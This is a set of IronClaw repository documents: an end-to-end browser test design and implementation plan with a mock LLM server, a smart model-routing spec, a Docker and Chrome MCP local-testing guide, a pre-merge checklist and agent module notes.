+- Supports `stream: true` by returning SSE chunks with `delta` objects (critical: IronClaw streams responses via SSE to the browser)
+
+**Canned response table:**
+
+| Pattern (regex) | Response |
+|-----------------|----------|
+| `hello\|hi\|hey` | `Hello! How can I help you today?` |
+| `2\+2\|2 \+ 2\|two plus two` | `The answer is 4.` |
+| `skill\|install` | `I can help you with skills management.` |
+| `.*` (default) | `I understand your request.` |
+
+**Streaming format:**
+
+```
+data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"role":"assistant","content":"The "},"finish_reason":null}]}
+
+data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"content":"answer is 4."},"finish_reason":null}]}
+
+data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}
+
+data: [DONE]
+```
+
+**Implementation:** `aiohttp.web` (async, lightweight). No tool call support needed for initial 3 scenarios.
+
+**Health check:** `GET /v1/models` returns `{"data": [{"id": "mock-model"}]}`.
+
+---
+
+## Fixtures
+
+### Session-scoped (run once per test session)
+
+**`ironclaw_binary`**
+- Checks if `./target/debug/ironclaw` exists
+- If missing or stale, runs `cargo build --no-default-features --features libsql`
+- Returns the binary path
+- Timeout: 300s (first build can be slow)
+
+**`mock_llm_server`**
+- Starts `mock_llm.py` as subprocess on `127.0.0.1:0` (OS-assigned port)
+- Parses port from stdout (server prints `Mock LLM listening on 127.0.0.1:{port}`)
+- Polls `GET /v1/models` until ready (timeout 10s)
+- Yields `(process, url)`
+- Kills process on teardown
+
+**`ironclaw_server(ironclaw_binary, mock_llm_server)`**
+- Starts the ironclaw binary with environment:
+
+```
+GATEWAY_ENABLED=true
+GATEWAY_HOST=127.0.0.1
+GATEWAY_PORT=0
+GATEWAY_AUTH_TOKEN=e2e-test-token
+GATEWAY_USER_ID=e2e-tester
+CLI_ENABLED=false
+LLM_BACKEND=openai_compatible
+LLM_BASE_URL={mock_llm_url}
+LLM_MODEL=mock-model
+DATABASE_BACKEND=libsql
+LIBSQL_PATH=:memory:
+SANDBOX_ENABLED=false
+SKILLS_ENABLED=true
+ROUTINES_ENABLED=false
+HEARTBEAT_ENABLED=false
+```
+
+- Parses actual gateway port from ironclaw stdout (`Gateway listening on 127.0.0.1:XXXX`)
+- Polls `GET /api/status` until ready (timeout 60s)
+- Yields the base URL (`http://127.0.0.1:{port}`)
+- Sends SIGTERM on teardown, SIGKILL after 5s grace
+
+### Function-scoped (fresh per test)
+
+**`page(ironclaw_server)`**
+- Launches Playwright Chromium (headless)
+- Creates new browser context (isolated cookies/storage)
+- Creates new page with viewport 1280x720
+- Navigates to `{base_url}/?token=e2e-test-token`
+- Waits for network idle
+- Yields the `Page` object
+- Closes browser context on teardown
+
+---
+
+## Test Scenarios
+
+### Scenario 1: Connection and Tab Navigation (`test_connection.py`)
+
+Tests auth, initial page load, and tab switching.
+
+```
+test_page_loads_and_connects:
+  1. Assert page title or main container is visible
+  2. Assert connection status indicator shows "Connected" (or equivalent)
+  3. Assert all 6 tab buttons visible: Chat, Memory, Jobs, Routines, Extensions, Skills
+
+test_tab_navigation:
+  1. For each tab in [Chat, Memory, Jobs, Routines, Extensions, Skills]:
+     a. Click the tab button
+     b. Assert the corresponding panel container becomes visible
+     c. Assert no error toasts appear
+  2. Return to Chat tab
+  3. Assert chat input is visible and focusable
+
+test_auth_rejection:
+  1. Navigate to base_url without token (no ?token= param)
+  2. Assert auth screen / login prompt appears (not the main app)
+```
+
+### Scenario 2: Chat Message Round-Trip (`test_chat.py`)
+
+Tests the full message flow: user input -> gateway -> mock LLM -> SSE -> browser rendering.
+
+```
+test_send_message_and_receive_response:
+  1. Locate chat input element
+  2. Type "What is 2+2?"
+  3. Press Enter (or click Send button)
+  4. Wait for assistant message to appear (timeout 15s)
+  5. Assert user message bubble contains "What is 2+2?"
+  6. Assert assistant message bubble contains "4"
+  7. Assert no error toasts visible
+
+test_multiple_messages:
+  1. Send "Hello"
+  2. Wait for response containing "Hello" or "help"
+  3. Send "What is 2+2?"
+  4. Wait for response containing "4"
+  5. Assert message count >= 4 (2 user + 2 assistant)
+
+test_empty_message_not_sent:
+  1. Focus chat input
+  2. Press Enter with empty input
+  3. Assert no new messages appear after 2s
+```
+
+### Scenario 3: Skills Lifecycle (`test_skills.py`)
+
+Tests ClawHub search, install, and remove through the browser UI.
+
+Note: ClawHub registry blocks non-browser TLS fingerprints but Playwright is a real browser, so this works. Tests are skipped if ClawHub is unreachable.
+
+```
+test_skills_tab_visible:
+  1. Click Skills tab
+  2. Assert skills panel is visible
+  3. Assert search input is present
+
+test_skills_search:
+  1. Click Skills tab
+  2. Type "markdown" in search input
+  3. Click Search (or press Enter)
+  4. Wait for results (timeout 15s)
+  5. Assert at least one result card is visible
+  6. Assert result cards contain: name, version, description fields
+
+test_skills_install_and_remove:
+  1. Search for a skill
+  2. Override window.confirm to auto-accept: page.evaluate("window.confirm = () => true")
+  3. Click Install on first result
+  4. Wait for installed skills list to update (timeout 15s)
+  5. Assert skill appears in installed section
+  6. Click Remove on the installed skill
+  7. Wait for installed section to update
+  8. Assert skill is gone from installed list
+```
+
+---
+
+## Port Discovery
+
+IronClaw logs `Gateway listening on 127.0.0.1:XXXX` at startup. The fixture reads stdout line-by-line until it finds this pattern, extracts the port.
+
+```python
+async def wait_for_port(process, pattern=r"Gateway listening on .+:(\d+)", timeout=60):
+    """Read process stdout until we find the listening port."""
+    deadline = time.monotonic() + timeout
+    while time.monotonic() < deadline:
+        line = await asyncio.wait_for(
+            process.stdout.readline(), timeout=deadline - time.monotonic()
+        )
+        if match := re.search(pattern, line.decode()):
+            return int(match.group(1))
+    raise TimeoutError("ironclaw did not report listening port")
+```
+
+Same pattern for the mock LLM server.

+
+## Future: Claude Vision Layer
+
+Not in initial scope. Design accommodates it via:
+
+- `conftest.py` fixture `claude_vision` wrapping `anthropic.Anthropic()`
+- Helper `assert_visually(page, prompt)`: takes screenshot, sends to Claude vision API, asserts response
+- Gated behind `@pytest.mark.vision`, only runs when `ANTHROPIC_API_KEY` is set
+- Use cases: "no raw HTML visible in chat", "markdown renders correctly", "no layout breakage"
+
+---
+
+## Success Criteria
+
+1. `pytest tests/e2e/ -v` passes locally with a pre-built ironclaw binary
+2. All 3 scenarios (connection, chat, skills) exercise real browser interactions
+3. Mock LLM provides deterministic responses (no flaky tests from LLM randomness)
+4. CI workflow runs on web gateway changes and weekly schedule
+5. Test failures produce clear error messages with screenshot artifacts

+# E2E Testing Infrastructure Implementation Plan
+
+> **For Claude:** REQUIRED SUB-SKILL: Use superpowers:executing-plans to implement this plan task-by-task.
+
+**Goal:** Build a Python + Playwright E2E testing framework that exercises the IronClaw web gateway through a real browser against the real binary with a mock LLM backend.
+
+**Architecture:** pytest session fixtures start a mock OpenAI-compat HTTP server and the ironclaw binary (libSQL in-memory, gateway enabled), then per-test Playwright browser instances navigate to the gateway and make DOM assertions.
+
+**Tech Stack:** Python 3.11+, pytest, pytest-asyncio, playwright, aiohttp
+
+**Design doc:** `docs/plans/2026-02-24-e2e-infrastructure-design.md`
+
+---
+
+### Task 1: Project scaffolding and pyproject.toml
+
+**Files:**
+- Create: `tests/e2e/pyproject.toml`
+- Create: `tests/e2e/scenarios/__init__.py`
+
+**Step 1: Create pyproject.toml**
+
+```toml
+[project]
+name = "ironclaw-e2e"
+version = "0.1.0"
+requires-python = ">=3.11"
+dependencies = [
+    "pytest>=8.0",
+    "pytest-asyncio>=0.23",
+    "pytest-playwright>=0.5",
+    "playwright>=1.40",
+    "aiohttp>=3.9",
+    "httpx>=0.27",
+]
+
+[project.optional-dependencies]
+vision = [
+    "anthropic>=0.40",
+]
+
+[tool.pytest.ini_options]
+asyncio_mode = "auto"
+timeout = 120
+```
+
+**Step 2: Create empty __init__.py**
+
+Create `tests/e2e/scenarios/__init__.py` as an empty file.
+
+**Step 3: Verify install works**
+
+Run:
+```bash
+cd tests/e2e && pip install -e . && playwright install chromium
+```
+Expected: Clean install, no errors.
+
+**Step 4: Commit**
+
+```bash
+git add tests/e2e/pyproject.toml tests/e2e/scenarios/__init__.py
+git commit -m "scaffold: E2E test project with pyproject.toml"
+```
+
+---
+
+### Task 2: Mock LLM server
+
+**Files:**
+- Create: `tests/e2e/mock_llm.py`
+
+**Step 1: Write the mock LLM server**
+
+The server must:
+- Listen on `127.0.0.1` with a port passed via `--port` CLI arg (default 0 for OS-assigned)
+- Print `MOCK_LLM_PORT={port}` to stdout on startup (for fixture to parse)
+- Handle `POST /v1/chat/completions` with both streaming and non-streaming modes
+- Handle `GET /v1/models` for health checks
+- Pattern-match the last user message to select canned responses
+- Support `stream: true` with proper SSE chunk format (critical for IronClaw's streaming)
+
+```python

+- IronClaw logs `Web UI: http://{host}:{port}/` to stdout (main.rs:508) using the config port, not the bound port. So we must use a fixed port, not port 0.
+- Health endpoint: `GET /api/health` (public, no auth required)
+- Auth via `?token=` query parameter for the frontend auto-auth flow
+- The frontend hides `#auth-screen` when token is valid and SSE connects

+# IronClaw E2E Tests
+
+Browser-level end-to-end tests for the IronClaw web gateway using Python + Playwright.
+
+## Prerequisites
+
+- Python 3.11+
+- Rust toolchain (for building ironclaw)
+- Chromium (installed via Playwright)
+
+## Setup
+
+```bash
+cd tests/e2e
+pip install -e .
+playwright install chromium
+```
+
+## Build ironclaw
+
+The tests need the ironclaw binary built with libsql support:
+
+```bash
+cargo build --no-default-features --features libsql
+```
+
+## Run tests
+
+```bash
+# From repo root
+pytest tests/e2e/ -v
+
+# Run a single scenario
+pytest tests/e2e/scenarios/test_chat.py -v
+
+# With visible browser (not headless)
+HEADED=1 pytest tests/e2e/scenarios/test_connection.py -v
+```
+
+## Architecture
+
+Tests start two subprocesses:
+1. **Mock LLM** (`mock_llm.py`) -- fake OpenAI-compat server with canned responses
+2. **IronClaw** -- the real binary with gateway enabled, pointing to the mock LLM
+
+Then Playwright drives a headless Chromium browser against the gateway, making DOM assertions.
+
+## Scenarios
+
+| File | What it tests |
+|------|--------------|
+| `test_connection.py` | Auth, tab navigation, connection status |
+| `test_chat.py` | Send message, SSE streaming, response rendering |
+| `test_skills.py` | ClawHub search, skill install/remove |
+
+## Adding new scenarios
+
+1. Create `tests/e2e/scenarios/test_<name>.py`
+2. Use the `page` fixture for a fresh browser page
+3. Use selectors from `helpers.py` (update `SEL` dict if new elements are needed)
+4. Keep tests deterministic -- use the mock LLM, not real providers
+```
+
+**Step 2: Commit**
+
+```bash
+git add tests/e2e/README.md
+git commit -m "docs: E2E test README with setup and usage instructions"
+```
+
+---
+
+### Task 10: Integration test -- run all scenarios end-to-end
+
+**Step 1: Build ironclaw**
+
+```bash
+cargo build --no-default-features --features libsql
+```
+
+**Step 2: Run the full E2E suite**
+
+```bash
+pytest tests/e2e/ -v --timeout=120
+```
+
+Expected: All tests in `test_connection.py` and `test_chat.py` pass. `test_skills.py` tests pass or skip (if ClawHub is unreachable).
+
+**Step 3: Fix any issues discovered during the run**
+
+Common issues to watch for:
+- Port conflicts: change `MOCK_LLM_PORT` or `GATEWAY_PORT` in conftest.py
+- Timing: increase wait timeouts if SSE streaming is slow
+- Selectors: update `SEL` dict in helpers.py if frontend elements changed
+- Onboarding wizard: ensure `ONBOARD_COMPLETED=true` prevents wizard from blocking
+
+**Step 4: Final commit with any fixes**
+
+```bash
+git add -A tests/e2e/
+git commit -m "fix: E2E test adjustments from integration run"
+```

+# Smart Model Routing for IronClaw
+
+**Status:** Implemented
+**Author:** Microwave
+**Date:** 2026-02-19
+
+## What
+
+Automatic model selection based on request complexity. The router analyzes each user message and selects an appropriate model tier (flash/standard/pro/frontier), then maps that tier to a configured model.
+
+## Why
+
+1. **Cost optimization** — Simple requests ("hi", "what time is it") don't need expensive models
+2. **User experience** — Simple requests return faster with lightweight models
+3. **NEAR AI native** — Default backend uses NEAR AI inference where costs vary by model
+4. **Zero-config value** — Users benefit immediately without configuration
+5. **Not just power users** — Everyone gets smart defaults, power users can override
+
+## How
+
+### Architecture
+
+```

+
+### Complexity Scorer (13 Dimensions)
+
+Each dimension produces a 0-100 score. Weighted sum determines total.
+
+| Dimension | Weight | Signals |
+|-----------|--------|---------|
+| Reasoning Words | 14% | "why", "explain", "compare", "trade-offs" |
+| Token Estimate | 12% | Prompt length |
+| Code Indicators | 10% | Backticks, syntax, "implement", "PR" |
+| Multi-Step | 10% | "first", "then", "after", "steps" |
+| Domain Specific | 10% | Technical terms (configurable) |
+| Creativity | 7% | "write", "summarize", "tweet", "blog" |
+| Question Complexity | 7% | Multiple questions, open-ended starters |
+| Precision | 6% | Numbers, "exactly", "calculate" |
+| Ambiguity | 5% | Vague references |
+| Context Dependency | 5% | "previous", "you said" |
+| Sentence Complexity | 5% | Commas, conjunctions, clause depth |
+| Tool Likelihood | 5% | "read", "deploy", "install" |
+| Safety Sensitivity | 4% | "password", "auth", "vulnerability" |
+
+**Multi-dimensional boost:** +30% when 3+ dimensions score above threshold.
+
+### Tier Boundaries
+
+| Score | Tier | Typical Use Case |
+|-------|------|------------------|
+| 0-15 | flash | Greetings, acknowledgments, quick lookups |
+| 16-40 | standard | Writing, comparisons, defined tasks |
+| 41-65 | pro | Multi-step analysis, code review |
+| 66+ | frontier | Critical decisions, security audits |
+
+### Pattern Overrides
+
+Fast-path rules that bypass scoring for obvious cases:
+
+```yaml
+# Force flash tier
+- "^(hi|hello|hey|thanks|ok|sure|yes|no)$"
+- "^what.*(time|date|day)"
+
+# Force frontier tier
+- "security.*(audit|review|scan)"
+- "vulnerabilit(y|ies).*(review|scan|check|audit)"
+
+# Force pro tier
+- "deploy.*(mainnet|production)"
+```
+
+### Configuration
+
+> **Note:** The current implementation supports smart routing via
+> `NEARAI_CHEAP_MODEL` and `SMART_ROUTING_CASCADE` env vars, plus
+> `domain_keywords` on `SmartRoutingConfig`. The full `llm.routing` YAML
+> schema below is the target design — not all knobs are wired yet.
+
+**Default (zero-config):**
+```yaml
+llm:
+  routing:
+    enabled: true  # default
+```
+
+**Power user overrides (target schema):**
+```yaml
+llm:
+  routing:
+    enabled: true
+    tiers:
+      flash: "claude-3-5-haiku-latest"
+      standard: "claude-sonnet-4-5-latest"
+      pro: "claude-sonnet-4-5-latest"
+      frontier: "claude-opus-4-5-latest"
+    thinking:
+      pro: "low"
+      frontier: "medium"
+    overrides:
+      - pattern: "my-custom-pattern"
+        tier: "pro"
+    domain_keywords:  # Custom keywords for your domain
+      - "mycompany"
+      - "myproduct"
+      - "internal-tool"
+```
+
+If `domain_keywords` is not set, uses `DEFAULT_DOMAIN_KEYWORDS` which covers common web3/infra terms.
+
+**Disable routing (pin model):**
+```yaml
+llm:
+  routing:
+    enabled: false
+  model: "claude-opus-4-5"
+```
+
+**Bring your own keys:**
+```yaml
+llm:
+  backend: anthropic
+  api_key: "sk-..."
+  routing:
+    enabled: true  # still works with external providers
+```
+
+### Integration Points
+
+1. **RoutingProvider** — New wrapper implementing `LlmProvider` trait (like `FailoverProvider`)
+2. **Scorer** — Pure function, no I/O, fast (~1ms)
+3. **Config schema** — Extend `LlmConfig` with `routing` section
+4. **Telemetry** — Log routing decisions for observability
+
+### Model Agnosticism
+
+**Critical:** No hardcoded model names in the router logic itself.
+
+- Tier→model mappings come from config
+- Default mappings use `-latest` patterns where supported
+- NEAR AI backend handles actual model resolution
+- Router only knows about tiers
+
+### Layers of Control
+
+| Layer | User Type | Config |
+|-------|-----------|--------|
+| 1. Zero-config | Everyone | `routing.enabled: true` (default) |
+| 2. Tier tuning | Power users | Custom `routing.tiers` mapping |
+| 3. Pattern overrides | Power users | Custom `routing.overrides` |
+| 4. Model pinning | Power users | `routing.enabled: false` + `model: X` |
+| 5. Own API keys | Power users | `backend: anthropic` + `api_key` |
+
+## Implementation Plan
+
+1. [x] Port scorer to Rust (`src/llm/smart_routing.rs`)
+2. [x] Implement router wrapper (`src/llm/smart_routing.rs`)
+3. [x] Extend config schema (`src/config.rs`)
+4. [x] Wire into provider creation (`src/llm/mod.rs`)
+5. [x] Add telemetry/logging
+6. [x] Tests with real conversation samples
+7. [x] Codex + Gemini security review
+8. [x] Documentation updated (this spec)
+
+## Expected Outcomes
+
+- **50-70% cost reduction** for typical usage patterns
+- **Faster responses** for simple requests
+- **Zero config required** for default benefits
+- **Full control** for power users who want it

+
+# Local Testing with Docker + Chrome MCP
+
+Use this skill to build, run, and test IronClaw web gateway changes locally using `Dockerfile.test` and Chrome MCP browser automation tools.
+
+## Quick Start
+
+```bash
+# Build the test image (libsql-only, no PostgreSQL needed)
+docker build --platform linux/amd64 -f Dockerfile.test -t ironclaw-test .
+
+# Run on port 3003 (default)
+docker run --rm -p 3003:3003 \
+  -e ONBOARD_COMPLETED=true \
+  -e CLI_ENABLED=false \
+  -e NEARAI_API_KEY=<key> \
+  ironclaw-test
+
+# Open in browser
+# http://localhost:3003/?token=test
+```
+
+## Building the Image
+
+The test Dockerfile uses a two-stage build: Rust compilation with `--features libsql` (no PostgreSQL dependency), then a minimal Debian runtime image.
+
+```bash
+docker build --platform linux/amd64 -f Dockerfile.test -t ironclaw-test .
+```
+
+Build takes ~5-10 minutes on first run (cached subsequent builds are faster). The `--platform linux/amd64` flag avoids QEMU warnings on Apple Silicon but can be omitted if targeting native architecture.
+
+## Running Containers
+
+### Required Environment Variables
+
+| Variable | Purpose | Default in Dockerfile |
+|----------|---------|----------------------|
+| `ONBOARD_COMPLETED=true` | Skip onboarding wizard (exits immediately otherwise) | not set |
+| `CLI_ENABLED=false` | Disable TUI/REPL (causes EOF shutdown otherwise) | not set |
+
+### LLM Backend Configuration
+
+Pick ONE of these configurations:
+
+**NEAR AI (API key mode):**
+```bash
+docker run --rm -p 3003:3003 \
+  -e ONBOARD_COMPLETED=true \
+  -e CLI_ENABLED=false \
+  -e NEARAI_API_KEY=<your-key> \
+  ironclaw-test
+```
+
+**NEAR AI (session token mode):**
+```bash
+docker run --rm -p 3003:3003 \
+  -e ONBOARD_COMPLETED=true \
+  -e CLI_ENABLED=false \
+  -e NEARAI_SESSION_TOKEN=<sess_xxx> \
+  -e NEARAI_BASE_URL=https://private.near.ai \
+  ironclaw-test
+```
+
+**OpenAI:**
+```bash
+docker run --rm -p 3003:3003 \
+  -e ONBOARD_COMPLETED=true \
+  -e CLI_ENABLED=false \
+  -e LLM_BACKEND=openai \
+  -e OPENAI_API_KEY=<your-key> \
+  ironclaw-test
+```
+
+**Anthropic:**
+```bash
+docker run --rm -p 3003:3003 \
+  -e ONBOARD_COMPLETED=true \
+  -e CLI_ENABLED=false \
+  -e LLM_BACKEND=anthropic \
+  -e ANTHROPIC_API_KEY=<your-key> \
+  ironclaw-test
+```
+
+**Dummy run (no LLM, just test the UI loads):**
+```bash
+docker run --rm -p 3003:3003 \
+  -e ONBOARD_COMPLETED=true \
+  -e CLI_ENABLED=false \
+  -e NEARAI_API_KEY=dummy \
+  ironclaw-test
+```
+
+### Common Overrides
+
+| Variable | Purpose | Example |
+|----------|---------|---------|
+| `GATEWAY_PORT` | Change the listen port | `3003` (default) |
+| `GATEWAY_AUTH_TOKEN` | Auth token for API | `test` (default) |
+| `NEARAI_MODEL` | Override LLM model | `claude-3-5-sonnet-20241022` |
+| `RUST_LOG` | Logging verbosity | `ironclaw=debug` |
+| `ROUTINES_ENABLED` | Enable routines | `true`/`false` |
+| `SKILLS_ENABLED` | Enable skills system | `true` (default) |
+
+### Multi-Instance Testing
+
+Run multiple containers on different host ports:
+
+```bash
+docker run --rm -d --name ic-test-a -p 3003:3003 -e ONBOARD_COMPLETED=true -e CLI_ENABLED=false -e NEARAI_API_KEY=dummy ironclaw-test
+docker run --rm -d --name ic-test-b -p 3004:3003 -e ONBOARD_COMPLETED=true -e CLI_ENABLED=false -e NEARAI_API_KEY=dummy ironclaw-test
+```
+
+## Chrome MCP Testing Workflow
+
+Use the Claude for Chrome browser automation tools to test the web UI.
+
+### Step 1: Get Browser Context
+
+```
+mcp__claude-in-chrome__tabs_context_mcp
+```
+
+Always start here to see current tabs and get fresh tab IDs.
+
+### Step 2: Open the Gateway
+
+```
+mcp__claude-in-chrome__tabs_create_mcp  url=http://localhost:3003/?token=test
+```
+
+### Step 3: Verify the Page
+
+```
+mcp__claude-in-chrome__read_page
+```
+
+Check for:
+- "Connected" indicator in top-right
+- All tabs visible: Chat, Memory, Jobs, Routines, Extensions, Skills
+
+### Step 4: Take Screenshots
+
+```
+mcp__claude-in-chrome__computer  action=screenshot
+```
+
+### Step 5: Test Mobile Viewport
+
+```
+mcp__claude-in-chrome__resize_window  width=375  height=812
+mcp__claude-in-chrome__computer  action=screenshot
+```
+
+Reset to desktop:
+```
+mcp__claude-in-chrome__resize_window  width=1280  height=800
+```
+
+### Step 6: Run JavaScript Checks
+
+```
+mcp__claude-in-chrome__javascript_tool  script="document.querySelector('.connection-status')?.textContent"
+```
+
+### Step 7: Test Interactions
+
+Click tabs, send messages, search skills — use `computer` tool with `action=click` and coordinate-based clicks, or use `find` + `form_input` for text entry.
+
+## Cleanup
+
+```bash
+# Stop a specific container
+docker stop ic-test-a
+
+# Stop all test containers
+docker ps --filter ancestor=ironclaw-test -q | xargs -r docker stop
+
+# Remove the test image
+docker rmi ironclaw-test
+```
+
+## Troubleshooting
+
+### Container exits immediately
+- **Missing `ONBOARD_COMPLETED=true`**: The onboarding wizard tries to read stdin, gets EOF, and exits.
+- **Missing `CLI_ENABLED=false`**: The REPL channel reads stdin, gets EOF, and shuts down the agent.
+
+### "Model not found" or LLM errors
+- Check that your API key/token is valid and the model name is correct.
+- For NEAR AI session token mode, you also need `NEARAI_BASE_URL=https://private.near.ai`.
+
+### Platform mismatch warnings on Apple Silicon
+- The `--platform linux/amd64` flag causes QEMU emulation warnings — these are harmless.
+- Alternatively, omit the flag and build natively if your dependencies support ARM64.
+
+### Port already in use
+- The dev server defaults to port 3001; the test Dockerfile defaults to 3003 to avoid conflicts.
+- Use a different host port: `-p 3005:3003`.
+
+### Cannot connect from browser
+- Verify `GATEWAY_HOST=0.0.0.0` (set by default in Dockerfile).
+- Check the container logs: `docker logs <container-id>`.
+- Make sure you include the token query param: `?token=test`.

+# Pre-Merge Review Checklist
+
+Before merging, verify these items. They represent the most common issues caught by automated code reviewers (Copilot, Gemini) on IronClaw PRs.
+
+## Database Operations
+- [ ] Multi-step DB operations are wrapped in transactions (INSERT+INSERT, UPDATE+DELETE, read-modify-write)
+- [ ] Both postgres AND libsql backends updated for any new Database trait methods
+- [ ] Migrations are atomic (SQL execution + version recording in same transaction)
+
+## Security & Data Safety
+- [ ] Tool parameters are redacted via `redact_params()` before logging or SSE/WebSocket broadcast
+- [ ] URL validation resolves DNS before checking for private/loopback IPs (anti-SSRF via DNS rebinding)
+- [ ] Destructive tools have `requires_approval()` returning `Always` or `UnlessAutoApproved`
+- [ ] Data from worker containers is treated as untrusted (tool domain checks, server-side nesting depth)
+- [ ] No secrets or credentials in error messages, logs, or SSE events
+
+## String Safety
+- [ ] No byte-index slicing (`&s[..n]`) on external/user strings -- use `is_char_boundary()` or `char_indices()`
+- [ ] File extension and media type comparisons are case-insensitive (`.to_ascii_lowercase()` before matching)
+- [ ] Path comparisons are case-insensitive where needed (macOS/Windows filesystems)
+
+## Trait Wrappers & Decorator Chain
+- [ ] New `LlmProvider` trait methods are delegated in ALL wrapper types (grep `impl LlmProvider for`)
+- [ ] New trait methods are tested through the full decorator/provider chain, not just the base impl
+- [ ] Default trait method implementations are intentional -- wrappers that silently return defaults are bugs
+
+## Tests
+- [ ] Temporary files/dirs use `tempfile` crate, no hardcoded `/tmp/` paths
+- [ ] Tests don't mutate global statics without synchronization (use per-test state or `serial_test`)
+- [ ] Tests don't make real network requests (use mocks, stubs, or RFC 5737 TEST-NET IPs like 192.0.2.1)
+- [ ] Test names and comments match actual test behavior and assertions
+
+## Comments & Documentation
+- [ ] Code comments match actual behavior (especially route paths, tool names, function semantics)
+- [ ] Spec/README files updated if module behavior changed
+- [ ] Error messages are clear and non-redundant (don't nest tool name inside tool error that already contains it)

+# Agent Module
+
+Core agent logic. This is the most complex subsystem — read this before working in `src/agent/`.
+
+## Module Map
+
+| File | Role |
+|------|------|
+| `agent_loop.rs` | `Agent` struct, `AgentDeps`, main `run()` event loop. Delegates to siblings. |
+| `dispatcher.rs` | Agentic loop for conversational turns: LLM call → tool execution → repeat. Injects skill context. Returns `Response` or `NeedApproval`. |
+| `thread_ops.rs` | Thread/session operations: `process_user_input`, undo/redo, approval, auth-mode interception, DB hydration, compaction. |
+| `commands.rs` | System command handlers (`/help`, `/model`, `/status`, `/skills`, etc.) and job intent handlers. |
+| `session.rs` | Data model: `Session` → `Thread` → `Turn`. State machines for threads and turns. |
+| `session_manager.rs` | Lifecycle: create/lookup sessions, map external thread IDs to internal UUIDs, prune stale sessions, manage undo managers. |
+| `router.rs` | Routes explicit `/commands` to `MessageIntent`. Natural language bypasses the router entirely. |
+| `scheduler.rs` | Parallel job scheduling. Maintains `jobs` map (full LLM-driven) and `subtasks` map (tool-exec/background). |
+| `worker.rs` | Per-job execution for background scheduler jobs: calls LLM, runs tools, handles the reasoning loop. Distinct from `dispatcher.rs`. |
+| `compaction.rs` | Context window management: summarize old turns, write to workspace daily log, trim context. Three strategies. |
+| `context_monitor.rs` | Detects memory pressure. Suggests `CompactionStrategy` based on usage level. |
+| `self_repair.rs` | Detects stuck jobs and broken tools, attempts recovery. |
+| `heartbeat.rs` | Proactive periodic execution. Reads `HEARTBEAT.md`, notifies via channel if findings. |
+| `submission.rs` | Parses all user submissions into typed variants before routing. |
+| `undo.rs` | Turn-based undo/redo with checkpoints. Checkpoints store message lists (max 20 by default). |
+| `routine.rs` | `Routine` types: `Trigger` (cron/event/webhook/manual) + `RoutineAction` (lightweight/full_job) + `RoutineGuardrails`. |
+| `routine_engine.rs` | Cron ticker and event matcher. Fires routines when triggers match. Lightweight runs inline; full_job dispatches to `Scheduler`. |
+| `task.rs` | Task types for the scheduler: `Job`, `ToolExec`, `Background`. Used by `spawn_subtask` and `spawn_batch`. |
+| `cost_guard.rs` | LLM spend and action-rate enforcement. Tracks daily budget (cents) and hourly call rate. Lives in `AgentDeps`. |
+| `job_monitor.rs` | Subscribes to SSE broadcast and injects Claude Code (container) output back into the agent loop as `IncomingMessage`. |
+
+## Session / Thread / Turn Model
+
+```
+Session (per user)
+└── Thread (per conversation — can have many)
+    └── Turn (per request/response pair)
+        ├── user_input: String
+        ├── response: Option<String>
+        ├── tool_calls: Vec<ToolCall>
+        └── state: TurnState (Pending | Running | Complete | Failed)
+```
+
+- A session has one **active thread** at a time; threads can be switched.
+- Turns are append-only. Undo rolls back by restoring a prior checkpoint (message list, not a full thread snapshot).
+- `UndoManager` is per-thread, stored in `SessionManager`, not on `Session` itself. Max 20 checkpoints (oldest dropped when exceeded).
+- Group chat detection: if `metadata.chat_type` is `group`/`channel`/`supergroup`, `MEMORY.md` is excluded from the system prompt to prevent leaking personal context.
+- **Auth mode**: if a thread has `pending_auth` set (e.g. from `tool_auth` returning `awaiting_token`), the next user message is intercepted before any turn creation, logging, or safety validation and sent directly to the credential store. Any control submission (undo, interrupt, etc.) cancels auth mode.
+- `ThreadState` values: `Idle`, `Processing`, `AwaitingApproval`, `Completed`, `Interrupted`.
+- `SessionManager` maps `(user_id, channel, external_thread_id)` → internal UUID. Prunes idle sessions every 10 minutes (warns at 1000 sessions).
+
+## Agentic Loop (dispatcher.rs)
+
+The `dispatcher.rs` module handles **direct conversational turns** (user messages processed inline by the main agent). Background scheduler jobs use `worker.rs` instead — these are two separate execution paths.
+
+```
+run_agentic_loop()  [dispatcher.rs — conversational turns]
+  1. Load workspace system prompt (identity files: AGENTS.md, SOUL.md, etc.)
+  2. Detect group chat from metadata; exclude MEMORY.md if group chat
+  3. Select active skills (keyword/pattern scoring against message content)
+  4. Build skill context block (injected before user message)
+  5. LLM call → text response OR tool calls
+  6. If tool calls:
+     a. Check tool approval (session auto-approvals, pending approval queue)
+     b. Execute tools (parallel via JoinSet)
+     c. Sanitize results through SafetyLayer
+     d. Feed results back → goto 5
+  7. Return AgenticLoopResult::Response or NeedApproval
+```
+
+**Tool approval:** Tools flagged `requires_approval` pause the loop and return `NeedApproval`. The web gateway stores the `PendingApproval` in session state and sends an `approval_needed` SSE event. The user's approval/deny resumes the loop.
+
+**worker.rs vs dispatcher.rs:** `dispatcher.rs` runs the agentic loop for user-initiated conversational turns (holds session lock, tracks turns). `worker.rs` is spawned by the `Scheduler` for background jobs created via `CreateJob` / `/job` — it runs independently of the session and has its own LLM reasoning loop with planning support (`use_planning` flag).
+
+## Command Routing (router.rs)
+
+The `Router` handles explicit `/commands` (prefix `/`). It parses them into `MessageIntent` variants: `CreateJob`, `CheckJobStatus`, `CancelJob`, `ListJobs`, `HelpJob`, `Command`. Natural language messages bypass the router entirely — they go directly to `dispatcher.rs` via `process_user_input`. Note: most user-facing commands (undo, compact, etc.) are handled by `SubmissionParser` before the router runs, so `Router` only sees unrecognized `/xxx` patterns that haven't already been claimed by `submission.rs`.
+
+## Compaction
+
+Triggered by `ContextMonitor` when token usage approaches the model's context limit.
+
+**Token estimation**: Word-count × 1.3 + 4 overhead per message. Default context limit: 100,000 tokens. Compaction threshold: 80% (configurable).
+
+Three strategies, chosen by `ContextMonitor.suggest_compaction()` based on usage ratio:
+- **MoveToWorkspace** — Writes full turn transcript to workspace daily log, keeps 10 recent turns. Used when usage is 80–85% (moderate). Falls back to `Truncate(5)` if no workspace.
+- **Summarize** (`keep_recent: N`) — LLM generates a summary of old turns, writes it to workspace daily log (`daily/YYYY-MM-DD.md`), removes old turns. Used when usage is 85–95%.
+- **Truncate** (`keep_recent: N`) — Removes oldest turns without summarization (fast path). Used when usage >95% (critical).
+
